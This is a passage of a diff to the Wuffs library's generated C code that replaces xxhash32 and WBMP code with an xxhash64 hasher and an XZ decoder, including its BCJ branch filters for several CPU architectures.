-+ uint32_t v_n = 0; -+ uint32_t v_buf_u32 = 0; -+ uint64_t v_buf_u64 = 0; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_wbmp__decoder__workbuf_len( -- const wuffs_wbmp__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ if ((self->private_impl.f_length_modulo_u64 >= 32u) || self->private_impl.f_length_overflows_u64) { -+ v_ret += (((uint64_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 63u)); -+ v_ret += (((uint64_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 57u)); -+ v_ret += (((uint64_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 52u)); -+ v_ret += (((uint64_t)(self->private_impl.f_v3 << 18u)) | (self->private_impl.f_v3 >> 46u)); -+ v_v0 = ((uint64_t)(self->private_impl.f_v0 * 14029467366897019727u)); -+ v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); -+ v_v0 *= 11400714785074694791u; -+ v_v1 = ((uint64_t)(self->private_impl.f_v1 * 14029467366897019727u)); -+ v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); -+ v_v1 *= 11400714785074694791u; -+ v_v2 = ((uint64_t)(self->private_impl.f_v2 * 14029467366897019727u)); -+ v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); -+ v_v2 *= 11400714785074694791u; -+ v_v3 = ((uint64_t)(self->private_impl.f_v3 * 14029467366897019727u)); -+ v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); -+ v_v3 *= 11400714785074694791u; -+ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v0) * 11400714785074694791u)) + 9650029242287828579u)); -+ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v1) * 11400714785074694791u)) + 9650029242287828579u)); -+ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v2) * 11400714785074694791u)) + 9650029242287828579u)); -+ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v3) * 11400714785074694791u)) + 9650029242287828579u)); -+ v_ret += self->private_impl.f_length_modulo_u64; -+ } else { -+ v_ret += 2870177450012600261u; -+ v_ret += self->private_impl.f_length_modulo_u64; - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ v_n = 32u; -+ v_n = wuffs_base__u32__min(v_n, self->private_impl.f_buf_len); -+ if (8u <= v_n) { -+ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | -+ (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | -+ (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | -+ (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | -+ (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | -+ (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | -+ (((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | -+ (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); -+ v_buf_u64 *= 14029467366897019727u; -+ v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); -+ v_buf_u64 *= 11400714785074694791u; -+ v_ret ^= v_buf_u64; -+ v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); -+ v_ret *= 11400714785074694791u; -+ v_ret += 9650029242287828579u; -+ v_i = 8u; - } -- -- return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+ if (16u <= v_n) { -+ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | -+ (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | -+ (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | -+ (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | -+ (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | -+ (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | -+ (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | -+ (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); -+ v_buf_u64 *= 14029467366897019727u; -+ v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); -+ v_buf_u64 *= 11400714785074694791u; -+ v_ret ^= v_buf_u64; -+ v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); -+ v_ret *= 11400714785074694791u; -+ v_ret += 9650029242287828579u; -+ v_i = 16u; -+ } -+ if (24u <= v_n) { -+ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | -+ (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | -+ (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | -+ (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | -+ (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | -+ (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | -+ (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | -+ (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); -+ v_buf_u64 *= 14029467366897019727u; -+ v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); -+ v_buf_u64 *= 11400714785074694791u; -+ v_ret ^= v_buf_u64; -+ v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); -+ v_ret *= 11400714785074694791u; -+ v_ret += 9650029242287828579u; -+ v_i = 24u; -+ } -+ if ((v_n & 4u) != 0u) { -+ v_i8 = (v_i & 24u); -+ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 0u)])) | -+ (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 1u)])) << 8u) | -+ (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 2u)])) << 16u) | -+ (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 3u)])) << 24u)); -+ v_ret ^= ((uint64_t)(((uint64_t)(v_buf_u32)) * 11400714785074694791u)); -+ v_ret = (((uint64_t)(v_ret << 23u)) | (v_ret >> 41u)); -+ v_ret *= 14029467366897019727u; -+ v_ret += 1609587929392839161u; -+ v_i = (v_i8 + 4u); -+ } -+ while (v_i < v_n) { -+ v_ret ^= ((uint64_t)(((uint64_t)(self->private_impl.f_buf_data[v_i])) * 2870177450012600261u)); -+ v_ret = (((uint64_t)(v_ret << 11u)) | (v_ret >> 53u)); -+ v_ret *= 11400714785074694791u; -+ v_i += 1u; -+ } -+ v_ret ^= (v_ret >> 33u); -+ v_ret *= 14029467366897019727u; -+ v_ret ^= (v_ret >> 29u); -+ v_ret *= 1609587929392839161u; -+ v_ret ^= (v_ret >> 32u); -+ return ((uint64_t)(v_ret)); - } - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) - - // ---------------- Status Codes Implementations - --// ---------------- Private Consts -+const char wuffs_xz__error__bad_bcj_offset[] = "#xz: bad BCJ offset"; -+const char wuffs_xz__error__bad_block_header[] = "#xz: bad block header"; -+const char wuffs_xz__error__bad_checksum[] = "#xz: bad checksum"; -+const char wuffs_xz__error__bad_filter[] = "#xz: bad filter"; -+const char wuffs_xz__error__bad_footer[] = "#xz: bad footer"; -+const char wuffs_xz__error__bad_header[] = "#xz: bad header"; -+const char wuffs_xz__error__bad_header_concatenated_stream[] = "#xz: bad header (concatenated stream)"; -+const char wuffs_xz__error__bad_index[] = "#xz: bad index"; -+const char wuffs_xz__error__bad_padding[] = "#xz: bad padding"; -+const char wuffs_xz__error__truncated_input[] = "#xz: truncated input"; -+const char wuffs_xz__error__unsupported_checksum_algorithm[] = "#xz: unsupported checksum algorithm"; -+const char wuffs_xz__error__unsupported_filter[] = "#xz: unsupported filter"; -+const char wuffs_xz__error__unsupported_filter_combination[] = "#xz: unsupported filter combination"; -+const char wuffs_xz__error__internal_error_inconsistent_bcj_filter_state[] = "#xz: internal error: inconsistent BCJ filter state"; - --#define WUFFS_XXHASH32__XXH_PRIME32_1 2654435761 -+// ---------------- Private Consts - --#define WUFFS_XXHASH32__XXH_PRIME32_2 2246822519 -+static const bool -+WUFFS_XZ__FILTER_04_X86_MASK_TO_ALLOWED_STATUS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 1u, 1u, 1u, 0u, 1u, 0u, 0u, 0u, -+}; - --#define WUFFS_XXHASH32__XXH_PRIME32_3 3266489917 -+static const uint8_t -+WUFFS_XZ__FILTER_04_X86_MASK_TO_BIT_NUM[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 1u, 2u, 2u, 3u, 3u, 3u, 3u, -+}; - --#define WUFFS_XXHASH32__XXH_PRIME32_4 668265263 -+static const uint32_t -+WUFFS_XZ__FILTER_04_X86_MASK_TO_XOR_OPERAND[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 4294967295u, 16777215u, 65535u, 65535u, 255u, 255u, 255u, 255u, -+}; - --#define WUFFS_XXHASH32__XXH_PRIME32_5 374761393 -+static const uint8_t -+WUFFS_XZ__FILTER_06_IA64_BRANCH_TABLE[32] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 4u, 4u, 6u, 6u, 0u, 0u, 7u, 7u, -+ 4u, 4u, 0u, 0u, 4u, 4u, 0u, 0u, -+}; - --#define WUFFS_XXHASH32__INITIAL_V0 606290984 -+#define WUFFS_XZ__QUIRKS_BASE 2021322752u - --#define WUFFS_XXHASH32__INITIAL_V1 2246822519 -+static const uint8_t -+WUFFS_XZ__CHECKSUM_LENGTH[4] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 4u, 8u, 32u, -+}; - --#define WUFFS_XXHASH32__INITIAL_V2 0 -+static const uint8_t -+WUFFS_XZ__ZEROES[3] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 0u, 0u, -+}; - --#define WUFFS_XXHASH32__INITIAL_V3 1640531535 -+static const uint8_t -+WUFFS_XZ__BCJ_OFFSET_ALIGNMENT[12] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 0u, 0u, 0u, 1u, 4u, 16u, 4u, -+ 2u, 4u, 4u, 2u, -+}; - - // ---------------- Private Initializer Prototypes - - // ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_xxhash32__hasher__up( -- wuffs_xxhash32__hasher* self, -- wuffs_base__slice_u8 a_x); -+static uint8_t -+wuffs_xz__decoder__apply_non_final_filters( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_non_final_filters__choosy_default( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_04_x86( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_05_powerpc( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_06_ia64( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_07_arm( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_08_armthumb( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_09_sparc( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_0a_arm64( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_0b_riscv( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_xz__decoder__do_transform_io( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_xz__decoder__decode_block_header_with_padding( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_xz__decoder__decode_block_header_sans_padding( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_xz__decoder__verify_index( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_xz__decoder__verify_footer( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_src); - - // ---------------- VTables - --const wuffs_base__hasher_u32__func_ptrs --wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { -- (uint32_t(*)(const void*))(&wuffs_xxhash32__hasher__checksum_u32), -+const wuffs_base__io_transformer__func_ptrs -+wuffs_xz__decoder__func_ptrs_for__wuffs_base__io_transformer = { -+ (wuffs_base__optional_u63(*)(const void*))(&wuffs_xz__decoder__dst_history_retain_length), - (uint64_t(*)(const void*, -- uint32_t))(&wuffs_xxhash32__hasher__get_quirk), -+ uint32_t))(&wuffs_xz__decoder__get_quirk), - (wuffs_base__status(*)(void*, - uint32_t, -- uint64_t))(&wuffs_xxhash32__hasher__set_quirk), -- (wuffs_base__empty_struct(*)(void*, -- wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update), -- (uint32_t(*)(void*, -- wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update_u32), -+ uint64_t))(&wuffs_xz__decoder__set_quirk), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__slice_u8))(&wuffs_xz__decoder__transform_io), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_xz__decoder__workbuf_len), - }; - - // ---------------- Initializer Implementations - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_xxhash32__hasher__initialize( -- wuffs_xxhash32__hasher* self, -+wuffs_xz__decoder__initialize( -+ wuffs_xz__decoder* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options){ -@@ -61482,23 +76592,53 @@ wuffs_xxhash32__hasher__initialize( - } - } - -+ self->private_impl.choosy_apply_non_final_filters = &wuffs_xz__decoder__apply_non_final_filters__choosy_default; -+ -+ { -+ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( -+ &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } -+ } -+ { -+ wuffs_base__status z = wuffs_crc64__ecma_hasher__initialize( -+ &self->private_data.f_crc64, sizeof(self->private_data.f_crc64), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } -+ } -+ { -+ wuffs_base__status z = wuffs_sha256__hasher__initialize( -+ &self->private_data.f_sha256, sizeof(self->private_data.f_sha256), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } -+ } -+ { -+ wuffs_base__status z = wuffs_lzma__decoder__initialize( -+ &self->private_data.f_lzma, sizeof(self->private_data.f_lzma), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } -+ } - self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = -- wuffs_base__hasher_u32__vtable_name; -- self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = -- (const void*)(&wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32); -+ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = -+ wuffs_base__io_transformer__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -+ (const void*)(&wuffs_xz__decoder__func_ptrs_for__wuffs_base__io_transformer); - return wuffs_base__make_status(NULL); - } - --wuffs_xxhash32__hasher* --wuffs_xxhash32__hasher__alloc(void) { -- wuffs_xxhash32__hasher* x = -- (wuffs_xxhash32__hasher*)(calloc(sizeof(wuffs_xxhash32__hasher), 1)); -+wuffs_xz__decoder* -+wuffs_xz__decoder__alloc(void) { -+ wuffs_xz__decoder* x = -+ (wuffs_xz__decoder*)(calloc(1, sizeof(wuffs_xz__decoder))); - if (!x) { - return NULL; - } -- if (wuffs_xxhash32__hasher__initialize( -- x, sizeof(wuffs_xxhash32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ if (wuffs_xz__decoder__initialize( -+ x, sizeof(wuffs_xz__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { - free(x); - return NULL; - } -@@ -61506,18 +76646,511 @@ wuffs_xxhash32__hasher__alloc(void) { - } - - size_t --sizeof__wuffs_xxhash32__hasher(void) { -- return sizeof(wuffs_xxhash32__hasher); -+sizeof__wuffs_xz__decoder(void) { -+ return sizeof(wuffs_xz__decoder); - } - - // ---------------- Function Implementations - --// -------- func xxhash32.hasher.get_quirk -+// -------- func xz.decoder.apply_non_final_filters -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_non_final_filters( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice) { -+ return (*self->private_impl.choosy_apply_non_final_filters)(self, a_dst_slice); -+} -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_non_final_filters__choosy_default( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice) { -+ uint32_t v_f = 0; -+ uint64_t v_i = 0; -+ uint32_t v_filter_id = 0; -+ uint32_t v_delta_dist = 0; -+ uint32_t v_delta_pos = 0; -+ uint8_t v_c8 = 0; -+ -+ if (self->private_impl.f_num_non_final_filters <= 0u) { -+ return 0u; -+ } -+ v_f = (self->private_impl.f_num_non_final_filters - 1u); -+ while (true) { -+ v_filter_id = (self->private_impl.f_filters[v_f] & 127u); -+ if (v_filter_id == 3u) { -+ v_delta_dist = (((self->private_impl.f_filters[v_f] >> 8u) & 255u) + 1u); -+ v_delta_pos = (self->private_impl.f_filters[v_f] >> 24u); -+ v_i = 0u; -+ while (v_i < ((uint64_t)(a_dst_slice.len))) { -+ v_c8 = a_dst_slice.ptr[v_i]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_c8 += self->private_data.f_filter_data[v_f][(((uint32_t)(v_delta_dist + v_delta_pos)) & 255u)]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ self->private_data.f_filter_data[v_f][(v_delta_pos & 255u)] = v_c8; -+ v_delta_pos -= 1u; -+ a_dst_slice.ptr[v_i] = v_c8; -+ v_i += 1u; -+ } -+ self->private_impl.f_filters[v_f] &= 65535u; -+ self->private_impl.f_filters[v_f] |= ((uint32_t)(v_delta_pos << 24u)); -+ } -+ if (v_f <= 0u) { -+ break; -+ } -+ v_f -= 1u; -+ } -+ return 0u; -+} -+ -+// -------- func xz.decoder.apply_filter_04_x86 -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_04_x86( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice) { -+ wuffs_base__slice_u8 v_s = {0}; -+ uint32_t v_p = 0; -+ uint64_t v_i = 0; -+ uint64_t v_prev_pos = 0; -+ uint32_t v_prev_mask = 0; -+ uint8_t v_c8 = 0; -+ uint32_t v_src = 0; -+ uint32_t v_dst = 0; -+ uint32_t v_bit_num = 0; -+ -+ v_s = a_dst_slice; -+ v_p = ((uint32_t)(self->private_impl.f_bcj_pos + 5u)); -+ v_prev_pos = 18446744073709551615u; -+ v_prev_mask = self->private_impl.f_bcj_x86_prev_mask; -+ while (((uint64_t)(v_s.len)) >= 5u) { -+ if (((uint8_t)(v_s.ptr[0u] & 254u)) != 232u) { -+ v_i += 1u; -+ v_p += 1u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); -+ continue; -+ } -+ v_prev_pos = ((uint64_t)(v_i - v_prev_pos)); -+ if (v_prev_pos > 3u) { -+ v_prev_mask = 0u; -+ } else if (v_prev_pos > 0u) { -+ v_prev_mask = (((uint32_t)(v_prev_mask << (v_prev_pos - 1u))) & 7u); -+ if (v_prev_mask != 0u) { -+ v_c8 = v_s.ptr[((uint8_t)(4u - WUFFS_XZ__FILTER_04_X86_MASK_TO_BIT_NUM[(v_prev_mask & 7u)]))]; -+ if ( ! WUFFS_XZ__FILTER_04_X86_MASK_TO_ALLOWED_STATUS[(v_prev_mask & 7u)] || (v_c8 == 0u) || (v_c8 == 255u)) { -+ v_prev_pos = v_i; -+ v_prev_mask = (((uint32_t)(v_prev_mask << 1u)) | 1u); -+ v_i += 1u; -+ v_p += 1u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); -+ continue; -+ } -+ } -+ } -+ v_prev_pos = v_i; -+ v_c8 = v_s.ptr[4u]; -+ if ((v_c8 != 0u) && (v_c8 != 255u)) { -+ v_prev_mask = (((uint32_t)(v_prev_mask << 1u)) | 1u); -+ v_i += 1u; -+ v_p += 1u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); -+ continue; -+ } -+ v_src = ((((uint32_t)(v_s.ptr[1u])) << 0u) | -+ (((uint32_t)(v_s.ptr[2u])) << 8u) | -+ (((uint32_t)(v_s.ptr[3u])) << 16u) | -+ (((uint32_t)(v_s.ptr[4u])) << 24u)); -+ while (true) { -+ v_dst = ((uint32_t)(v_src - v_p)); -+ if (v_prev_mask == 0u) { -+ break; -+ } -+ v_bit_num = ((uint32_t)(WUFFS_XZ__FILTER_04_X86_MASK_TO_BIT_NUM[(v_prev_mask & 7u)])); -+ v_c8 = ((uint8_t)((v_dst >> (24u - (v_bit_num * 8u))))); -+ if ((v_c8 != 0u) && (v_c8 != 255u)) { -+ break; -+ } -+ v_src = (v_dst ^ WUFFS_XZ__FILTER_04_X86_MASK_TO_XOR_OPERAND[(v_prev_mask & 7u)]); -+ } -+ v_dst &= 33554431u; -+ v_dst |= ((uint32_t)(0u - (v_dst & 16777216u))); -+ v_s.ptr[1u] = ((uint8_t)((v_dst >> 0u))); -+ v_s.ptr[2u] = ((uint8_t)((v_dst >> 8u))); -+ v_s.ptr[3u] = ((uint8_t)((v_dst >> 16u))); -+ v_s.ptr[4u] = ((uint8_t)((v_dst >> 24u))); -+ v_i += 5u; -+ v_p += 5u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 5u); -+ } -+ v_prev_pos = ((uint64_t)(v_i - v_prev_pos)); -+ if (v_prev_pos > 3u) { -+ self->private_impl.f_bcj_x86_prev_mask = 0u; -+ } else if (v_prev_pos > 0u) { -+ self->private_impl.f_bcj_x86_prev_mask = ((uint32_t)(v_prev_mask << (v_prev_pos - 1u))); -+ } -+ self->private_impl.f_bcj_pos = ((uint32_t)(v_p - 5u)); -+ return ((uint8_t)(((uint64_t)(v_s.len)))); -+} -+ -+// -------- func xz.decoder.apply_filter_05_powerpc -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_05_powerpc( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice) { -+ wuffs_base__slice_u8 v_s = {0}; -+ uint32_t v_p = 0; -+ uint32_t v_x = 0; -+ -+ v_s = a_dst_slice; -+ v_p = self->private_impl.f_bcj_pos; -+ while (((uint64_t)(v_s.len)) >= 4u) { -+ v_x = ((((uint32_t)(v_s.ptr[0u])) << 24u) | -+ (((uint32_t)(v_s.ptr[1u])) << 16u) | -+ (((uint32_t)(v_s.ptr[2u])) << 8u) | -+ (((uint32_t)(v_s.ptr[3u])) << 0u)); -+ if ((v_x & 4227858435u) == 1207959553u) { -+ v_x = ((((uint32_t)((v_x & 67108860u) - v_p)) & 67108860u) | 1207959553u); -+ v_s.ptr[0u] = ((uint8_t)((v_x >> 24u))); -+ v_s.ptr[1u] = ((uint8_t)((v_x >> 16u))); -+ v_s.ptr[2u] = ((uint8_t)((v_x >> 8u))); -+ v_s.ptr[3u] = ((uint8_t)((v_x >> 0u))); -+ } -+ v_p += 4u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); -+ } -+ self->private_impl.f_bcj_pos = v_p; -+ return ((uint8_t)(((uint64_t)(v_s.len)))); -+} -+ -+// -------- func xz.decoder.apply_filter_06_ia64 -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_06_ia64( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice) { -+ wuffs_base__slice_u8 v_s = {0}; -+ uint32_t v_p = 0; -+ uint32_t v_mask = 0; -+ uint32_t v_slot = 0; -+ uint32_t v_bit_pos = 0; -+ uint32_t v_byte_pos = 0; -+ uint32_t v_bit_res = 0; -+ uint64_t v_x = 0; -+ uint32_t v_j = 0; -+ uint64_t v_norm = 0; -+ uint32_t v_addr = 0; -+ -+ v_s = a_dst_slice; -+ v_p = self->private_impl.f_bcj_pos; -+ while (((uint64_t)(v_s.len)) >= 16u) { -+ v_mask = ((uint32_t)(WUFFS_XZ__FILTER_06_IA64_BRANCH_TABLE[((uint8_t)(v_s.ptr[0u] & 31u))])); -+ v_slot = 0u; -+ while (true) { -+ do { -+ if (((v_mask >> v_slot) & 1u) == 0u) { -+ break; -+ } -+ v_bit_pos = ((v_slot * 41u) + 5u); -+ v_byte_pos = (v_bit_pos >> 3u); -+ v_bit_res = (v_bit_pos & 7u); -+ v_x = 0u; -+ v_j = 0u; -+ while (v_j < 6u) { -+ v_x |= (((uint64_t)(v_s.ptr[(v_j + v_byte_pos)])) << (8u * v_j)); -+ v_j += 1u; -+ } -+ v_norm = (v_x >> v_bit_res); -+ if ((((v_norm >> 37u) & 15u) != 5u) || (((v_norm >> 9u) & 7u) != 0u)) { -+ break; -+ } -+ v_addr = ((uint32_t)(((v_norm >> 13u) & 1048575u))); -+ v_addr |= (((uint32_t)(((v_norm >> 36u) & 1u))) << 20u); -+ v_addr <<= 4u; -+ v_addr -= v_p; -+ v_addr >>= 4u; -+ v_norm &= 18446743996400148479u; -+ v_norm |= (((uint64_t)((v_addr & 1048575u))) << 13u); -+ v_norm |= (((uint64_t)((v_addr & 1048576u))) << 16u); -+ v_x &= ((((uint64_t)(1u)) << v_bit_res) - 1u); -+ v_x |= ((uint64_t)(v_norm << v_bit_res)); -+ v_j = 0u; -+ while (v_j < 6u) { -+ v_s.ptr[(v_j + v_byte_pos)] = ((uint8_t)((v_x >> (8u * v_j)))); -+ v_j += 1u; -+ } -+ } while (0); -+ if (v_slot >= 2u) { -+ break; -+ } -+ v_slot += 1u; -+ } -+ v_p += 16u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 16u); -+ } -+ self->private_impl.f_bcj_pos = v_p; -+ return ((uint8_t)(((uint64_t)(v_s.len)))); -+} -+ -+// -------- func xz.decoder.apply_filter_07_arm -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_07_arm( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice) { -+ wuffs_base__slice_u8 v_s = {0}; -+ uint32_t v_p = 0; -+ uint32_t v_x = 0; -+ -+ v_s = a_dst_slice; -+ v_p = ((uint32_t)(self->private_impl.f_bcj_pos + 8u)); -+ while (((uint64_t)(v_s.len)) >= 4u) { -+ if (v_s.ptr[3u] == 235u) { -+ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | -+ (((uint32_t)(v_s.ptr[1u])) << 8u) | -+ (((uint32_t)(v_s.ptr[2u])) << 16u) | -+ (((uint32_t)(v_s.ptr[3u])) << 24u)); -+ v_x = (((uint32_t)(((v_x & 16777215u) << 2u) - v_p)) >> 2u); -+ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); -+ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); -+ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); -+ } -+ v_p += 4u; -+ v_s = 